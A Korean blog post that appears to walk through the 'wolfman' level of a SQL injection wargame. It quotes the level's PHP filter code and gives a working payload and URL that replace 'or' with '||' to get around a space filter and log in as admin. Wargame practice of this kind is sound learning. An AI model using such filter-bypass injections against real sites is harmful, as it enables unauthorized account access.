티스토리 뷰

728x90
반응형

$_GET[pw]

PHP 소스코드 상으로는 pw를 GET parameter로 받는다고 합니다.

 

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 

그리고 pw에 prob라는 단어가 포함되거나, _(언더바), .(온점), ((여는 괄호), )(닫는 괄호) 를 사용하는 것을 금하고 있습니다.

 

if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 

그리고 pw에 추가로 (스페이스, 공백) 사용도 금하고 있습니다.

 

$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
if($result['id'] == 'admin') solve("wolfman"); 

query 변수에 GET parameter로 전달 받은 pw를 넣고, mysql에 query를 실행했을 때 결과로부터 id가 admin일 때만 문제가 풀린다고 합니다.

 

해결방법은 간단합니다. 초반에 나왔던 문제에서 그냥 or 과 and 연산자를 || 또는 && 로 변경해서 풀면 끝납니다.

select id from prob_wolfman where id='guest' and pw='' or id='admin'#'

위처럼 pw 의 값을 ''(공백)으로 하여 앞의 id-'guest' and pw='' 구문을 거짓(false)로 만들고, 뒤에 or 다음에 나오는 id='admin' 이 참(true)의 조건이 되어 id가 admin인 데이터를 조회하게 될 것입니다. 이전 문제에서도 이와 같이 똑같이 해결하였는데, 이번에는 여기서 or을 ||로 변경해주기만 하면 됩니다.

 

그리고 or이 아닌 ||는 띄어쓰기(스페이스/공백)를 안쓰더라도 동작하게 할 수 있기 때문에 해당 문제를 풀 수 있게 됩니다.

select id from prob_wolfman where id='guest' and pw=''||id='admin'#'
https://los.rubiya.kr/chall/wolfman_5.php?pw='||id='admin'%23

%23은 #(주석)을 인코딩한 문자입니다. URL에서 #은 hash tag를 의미하는 특수한 문자이기 때문에 URL인코딩 해줍니다.

 

 

- 끝 -

728x90
반응형
댓글